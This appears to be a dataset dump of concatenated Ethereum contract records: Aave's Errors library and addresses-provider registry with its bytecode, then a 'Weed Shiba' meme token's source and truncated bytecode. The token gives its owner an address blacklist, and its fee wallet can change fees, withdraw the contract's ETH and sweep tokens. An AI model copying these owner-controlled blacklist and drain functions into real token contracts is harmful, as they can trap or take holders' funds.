StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = LendingPoolAddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolCollateralManager * - P = Pausable */ library Errors { //common errors string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin' string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen' string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance' string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.' string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled' string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected' string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow' string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt' string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed' string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve' string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve' string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0' string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral' string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve' string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met' string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed' string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow' string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.' string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent' string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator' string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28'; string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool' string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself' string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero' string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized' string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin' string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered' string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold' string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated' string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency' string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate" string public constant LPCM_NO_ERRORS = '46'; // 'No errors' string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant LP_FAILED_COLLATERAL_SWAP = '60'; string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61'; string public constant LP_REENTRANCY_NOT_ALLOWED = '62'; string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74'; string public constant UL_INVALID_INDEX = '77'; string public constant LP_NOT_CONTRACT = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; enum CollateralManagerErrors { NO_ERROR, NO_COLLATERAL_AVAILABLE, COLLATERAL_CANNOT_BE_LIQUIDATED, CURRRENCY_NOT_BORROWED, HEALTH_FACTOR_ABOVE_THRESHOLD, NOT_ENOUGH_LIQUIDITY, NO_ACTIVE_RESERVE, HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD, INVALID_EQUAL_ASSETS_TO_SWAP, FROZEN_RESERVE } } /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ interface ILendingPoolAddressesProviderRegistry { event AddressesProviderRegistered(address indexed newAddress); event AddressesProviderUnregistered(address indexed newAddress); function getAddressesProvidersList() external view returns (address[] memory); function getAddressesProviderIdByAddress(address addressesProvider) external view returns (uint256); function registerAddressesProvider(address provider, uint256 id) external; function unregisterAddressesProvider(address provider) external; } /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ contract LendingPoolAddressesProviderRegistry is Ownable, ILendingPoolAddressesProviderRegistry { mapping(address => uint256) private _addressesProviders; address[] private _addressesProvidersList; /** * @dev Returns the list of registered addresses provider * @return The list of addresses provider, potentially containing address(0) elements **/ function getAddressesProvidersList() external view override returns (address[] memory) { address[] memory addressesProvidersList = _addressesProvidersList; uint256 maxLength = addressesProvidersList.length; address[] memory activeProviders = new address[](maxLength); for (uint256 i = 0; i < maxLength; i++) { if (_addressesProviders[addressesProvidersList[i]] > 0) { activeProviders[i] = addressesProvidersList[i]; } } return activeProviders; } /** * @dev Registers an addresses provider * @param provider The address of the new LendingPoolAddressesProvider * @param id The id for the new LendingPoolAddressesProvider, referring to the market it belongs to **/ function registerAddressesProvider(address provider, uint256 id) external override onlyOwner { require(id != 0, Errors.LPAPR_INVALID_ADDRESSES_PROVIDER_ID); _addressesProviders[provider] = id; _addToAddressesProvidersList(provider); emit AddressesProviderRegistered(provider); } /** * @dev Removes a LendingPoolAddressesProvider from the list of registered addresses provider * @param provider The LendingPoolAddressesProvider address **/ function unregisterAddressesProvider(address provider) external override onlyOwner { require(_addressesProviders[provider] > 0, Errors.LPAPR_PROVIDER_NOT_REGISTERED); _addressesProviders[provider] = 0; emit AddressesProviderUnregistered(provider); } /** * @dev Returns the id on a registered LendingPoolAddressesProvider * @return The id or 0 if the LendingPoolAddressesProvider is not registered */ function getAddressesProviderIdByAddress(address addressesProvider) external view override returns (uint256) { return _addressesProviders[addressesProvider]; } function _addToAddressesProvidersList(address provider) internal { uint256 providersCount = _addressesProvidersList.length; for (uint256 i = 0; i < providersCount; i++) { if (_addressesProvidersList[i] == provider) { return; } } _addressesProvidersList.push(provider); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638da5cb5b1161005b5780638da5cb5b1461010a578063d0267be71461012e578063d258191e14610166578063f2fde38b146101925761007d565b80630de2670714610082578063365ccbbf146100aa578063715018a614610102575b600080fd5b6100a86004803603602081101561009857600080fd5b50356001600160a01b03166101b8565b005b6100b2610322565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156100ee5781810151838201526020016100d6565b505050509050019250505060405180910390f35b6100a861046b565b61011261050d565b604080516001600160a01b039092168252519081900360200190f35b6101546004803603602081101561014457600080fd5b50356001600160a01b031661051c565b60408051918252519081900360200190f35b6100a86004803603604081101561017c57600080fd5b506001600160a01b038135169060200135610537565b6100a8600480360360208110156101a857600080fd5b50356001600160a01b0316610651565b6101c0610749565b6000546001600160a01b03908116911614610210576040805162461bcd60e51b81526020600482018190526024820152600080516020610814833981519152604482015290519081900360640190fd5b600060016000836001600160a01b03166001600160a01b03168152602001908152602001600020541160405180604001604052806002815260200161343160f01b815250906102dd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156102a257818101518382015260200161028a565b50505050905090810190601f1680156102cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506001600160a01b038116600081815260016020526040808220829055517f851e5971c053e6b76e3a1e0b8ffa81430df738007fad86e195c409a757faccd29190a250565b606080600280548060200260200160405190810160405280929190818152602001828054801561037b57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161035d575b5050505050905060008151905060608167ffffffffffffffff811180156103a157600080fd5b506040519080825280602002602001820160405280156103cb578160200160208202803683370190505b50905060005b82811015610463576000600160008684815181106103eb57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054111561045b5783818151811061042657fe5b602002602001015182828151811061043a57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b6001016103d1565b509250505090565b610473610749565b6000546001600160a01b039081169116146104c3576040805162461bcd60e51b81526020600482018190526024820152600080516020610814833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6001600160a01b031660009081526001602052604090205490565b61053f610749565b6000546001600160a01b0390811691161461058f576040805162461bcd60e51b81526020600482018190526024820152600080516020610814833981519152604482015290519081900360640190fd5b6040805180820190915260028152611b9960f11b6020820152816105f45760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156102a257818101518382015260200161028a565b506001600160a01b03821660009081526001602052604090208190556106198261074d565b6040516001600160a01b038316907f2db38786c10176b033a1608361716b0ca992e3af55dc05b6dc710969790beeda90600090a25050565b610659610749565b6000546001600160a01b039081169116146106a9576040805162461bcd60e51b81526020600482018190526024820152600080516020610814833981519152604482015290519081900360640190fd5b6001600160a01b0381166106ee5760405162461bcd60e51b81526004018080602001828103825260268152602001806107ee6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b60025460005b8181101561079c57826001600160a01b03166002828154811061077257fe5b6000918252602090912001546001600160a01b031614156107945750506107ea565b600101610753565b5050600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0383161790555b5056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220833247a9210c4921da36e3c6816964e04a9605aabfe3c5a69352762fe16687b564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,803
0x61de4b698227e5c1e6ddb1755ad1638cea04d55b
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ // Telegram: https://t.me/WIBAERC // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Wiba is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private time; uint256 private _tax; uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private fee1=84; uint256 private fee2=84; uint256 private liqfee=42; uint256 private feeMax=100; string private constant _name = "Weed Shiba"; string private constant _symbol = "WIBA"; uint256 private _maxTxAmount = _tTotal.mul(2).div(100); uint256 private minBalance = _tTotal.div(1000); uint8 private constant _decimals = 9; address payable private _feeAddrWallet1; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(msg.sender); _tOwned[address(this)] = _tTotal.div(2); _tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum"); fee1 = _fee1; fee2 = _fee2; liqfee = _liq; } function changeMinBalance(uint256 newMin) external { require(_msgSender() == _feeAddrWallet1); minBalance = newMin; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _tax = fee1.add(liqfee); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){ // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tax = fee2.add(liqfee); } if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) { require(block.timestamp > time,"Sells prohibited for the first 5 minutes"); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > minBalance){ swapAndLiquify(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } _transferStandard(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapAndLiquify(uint256 tokenAmount) private { uint256 half = liqfee.div(2); uint256 part = fee2.add(half); uint256 sum = fee2.add(liqfee); uint256 swapTotal = tokenAmount.mul(part).div(sum); swapTokensForEth(swapTotal); addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1); } function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{ _approve(address(this),address(uniswapV2Router),tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); addLiquidity(balanceOf(address(this)),address(this).balance,owner()); swapEnabled = true; tradingOpen = true; time = block.timestamp + (5 minutes); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount,uint256 tfee) = _getTValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(transferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tfee); emit Transfer(sender, recipient, transferAmount); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapAndLiquify(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = tAmount.mul(_tax).div(1000); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function recoverTokens(address tokenAddress) external { require(_msgSender() == _feeAddrWallet1); IERC20 recoveryToken = IERC20(tokenAddress); recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this))); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610332578063b515566a14610352578063c3c8cd8014610372578063c9567bf914610387578063dd62ed3e1461039c57600080fd5b806370a0823114610272578063715018a6146102a85780637e37e9bb146102bd5780638da5cb5b146102dd57806395d89b411461030557600080fd5b806323b872dd116100e757806323b872dd146101e1578063273123b714610201578063313ce567146102215780634ea18fab1461023d5780636fc3eaec1461025d57600080fd5b806306fdde0314610124578063095ea7b31461016957806316114acd1461019957806318160ddd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152695765656420536869626160b01b60208201525b60405161016091906116c1565b60405180910390f35b34801561017557600080fd5b50610189610184366004611504565b6103e2565b6040519015158152602001610160565b3480156101a557600080fd5b506101b96101b4366004611450565b6103f9565b005b3480156101c757600080fd5b50683635c9adc5dea000005b604051908152602001610160565b3480156101ed57600080fd5b506101896101fc3660046114c3565b610526565b34801561020d57600080fd5b506101b961021c366004611450565b61058f565b34801561022d57600080fd5b5060405160098152602001610160565b34801561024957600080fd5b506101b961025836600461161e565b6105e3565b34801561026957600080fd5b506101b9610608565b34801561027e57600080fd5b506101d361028d366004611450565b6001600160a01b031660009081526002602052604090205490565b3480156102b457600080fd5b506101b9610635565b3480156102c957600080fd5b506101b96102d836600461167e565b6106a9565b3480156102e957600080fd5b506000546040516001600160a01b039091168152602001610160565b34801561031157600080fd5b506040805180820190915260048152635749424160e01b6020820152610153565b34801561033e57600080fd5b5061018961034d366004611504565b610753565b34801561035e57600080fd5b506101b961036d366004611530565b610760565b34801561037e57600080fd5b506101b96107f6565b34801561039357600080fd5b506101b961082f565b3480156103a857600080fd5b506101d36103b736600461148a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103ef3384846109cf565b5060015b92915050565b600f546001600160a01b0316336001600160a01b03161461041957600080fd5b600f546040516370a0823160e01b815230600482015282916001600160a01b038084169263a9059cbb92919091169083906370a082319060240160206040518083038186803b15801561046b57600080fd5b505afa15801561047f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a39190611637565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156104e957600080fd5b505af11580156104fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052191906115fc565b505050565b6000610533848484610af3565b61058584336105808560405180606001604052806028815260200161189f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ed6565b6109cf565b5060019392505050565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016105b990611716565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600f546001600160a01b0316336001600160a01b03161461060357600080fd5b600e55565b600f546001600160a01b0316336001600160a01b03161461062857600080fd5b4761063281610f10565b50565b6000546001600160a01b0316331461065f5760405162461bcd60e51b81526004016105b990611716565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f546001600160a01b0316336001600160a01b0316146106c957600080fd5b600c548360ff16111580156106e35750600c548260ff1611155b80156106f35750600c54600b5411155b61073f5760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f742073657420666565732061626f7665206d6178696d756d00000060448201526064016105b9565b60ff928316600955908216600a5516600b55565b60006103ef338484610af3565b6000546001600160a01b0316331461078a5760405162461bcd60e51b81526004016105b990611716565b60005b81518110156107f2576001600560008484815181106107ae576107ae61185d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ea8161182c565b91505061078d565b5050565b600f546001600160a01b0316336001600160a01b03161461081657600080fd5b3060009081526002602052604090205461063281610f4a565b6000546001600160a01b031633146108595760405162461bcd60e51b81526004016105b990611716565b601154600160a01b900460ff16156108b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b9565b306000908152600260205260409020546108df90476108da6000546001600160a01b031690565b610fe5565b6011805462ff00ff60a01b19166201000160a01b1790556109024261012c6117bc565b600755565b600082610916575060006103f3565b600061092283856117f6565b90508261092f85836117d4565b146109865760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b9565b9392505050565b600061098683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110c7565b6001600160a01b038316610a315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b9565b6001600160a01b038216610a925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b9565b6001600160a01b038216610bb95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b9565b60008111610c1b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b9565b600b54600954610c2a916110f5565b6008556000546001600160a01b03848116911614801590610c5957506000546001600160a01b03838116911614155b15610ecb576001600160a01b03831660009081526005602052604090205460ff16158015610ca057506001600160a01b03821660009081526005602052604090205460ff16155b610ca957600080fd5b6011546001600160a01b038481169116148015610cd457506010546001600160a01b03838116911614155b8015610cf957506001600160a01b03821660009081526004602052604090205460ff16155b8015610d06575060075442105b15610d6357600d54811115610d1a57600080fd5b6001600160a01b0382166000908152600660205260409020544211610d3e57600080fd5b610d4942601e6117bc565b6001600160a01b0383166000908152600660205260409020555b6011546001600160a01b038381169116148015610d8e57506010546001600160a01b03848116911614155b8015610db357506001600160a01b03831660009081526004602052604090205460ff16155b15610dcb57600b54600a54610dc7916110f5565b6008555b601154600160a81b900460ff16158015610df357506011546001600160a01b03848116911614155b8015610e085750601154600160b01b900460ff165b8015610e2d57506001600160a01b03831660009081526004602052604090205460ff16155b15610ecb576007544211610e945760405162461bcd60e51b815260206004820152602860248201527f53656c6c732070726f6869626974656420666f72207468652066697273742035604482015267206d696e7574657360c01b60648201526084016105b9565b30600090815260026020526040902054600e54811115610ec957610eb781610f4a565b478015610ec757610ec747610f10565b505b505b610521838383611154565b60008184841115610efa5760405162461bcd60e51b81526004016105b991906116c1565b506000610f078486611815565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f2573d6000803e3d6000fd5b600b54600090610f5b90600261098d565b90506000610f7482600a546110f590919063ffffffff16565b90506000610f8f600b54600a546110f590919063ffffffff16565b90506000610fa782610fa18786610907565b9061098d565b9050610fb281611240565b610fde610fbf